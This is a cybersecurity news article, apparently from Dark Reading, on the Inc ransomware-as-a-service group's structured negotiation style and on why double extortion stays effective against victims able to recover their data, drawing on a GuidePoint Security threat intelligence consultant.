Active since last summer, the Inc ransomware-as-a-service (RaaS) operation has earned plenty of headlines for its compromises of particularly large organizations — Xerox and Scotland's National Health Service (NHS), among others. And its modus operandi fits the scope of its ambition, says Jason Baker, threat intelligence consultant for GuidePoint Security.

"The aspect of Inc affiliates in particular that makes them stand out is that they have a very structured way of working through the negotiations process. There's no winging it. There are no off-the-cuff remarks. Agitation and threats are kept relatively minimal," he recalls from dealing with them firsthand.

"It's like the difference between somebody robbing a bank and somebody sticking somebody up in an alley. You can tell when somebody's put thought into \[an attack\] and knows what they're doing," he says.

As Dark Reading reported last month, Inc's malware leaked information about the nature and success of its data encryption. Though this could potentially lend defenders a leg up in remediation and potential negotiations with its affiliates, Baker warns that the reality is more complicated, especially when it comes to healthcare.

"If an organization knows that they can recover, and that they don't need a decryptor, that substantially decreases the feeling that they need to pay a ransom," he notes. "But where it's complicated is in modern double extortion, particularly if there's sensitive personally identifiable health information (PHI), or if there's sensitive intellectual property involved. There's a reason why the double extortion methodology has stuck around for as long as it has: It does, to some extent, overcome even an ability to recover."

**About the Author**

Nate Nelson is a freelance writer based in New York City. Formerly a reporter at Threatpost, he contributes to a number of cybersecurity blogs and podcasts. He writes "Malicious Life" -- an award-winning Top 20 tech podcast on Apple and Spotify -- and hosts every other episode, featuring interviews with leading voices in security. He also co-hosts "The Industrial Security Podcast," the most popular show in its field.

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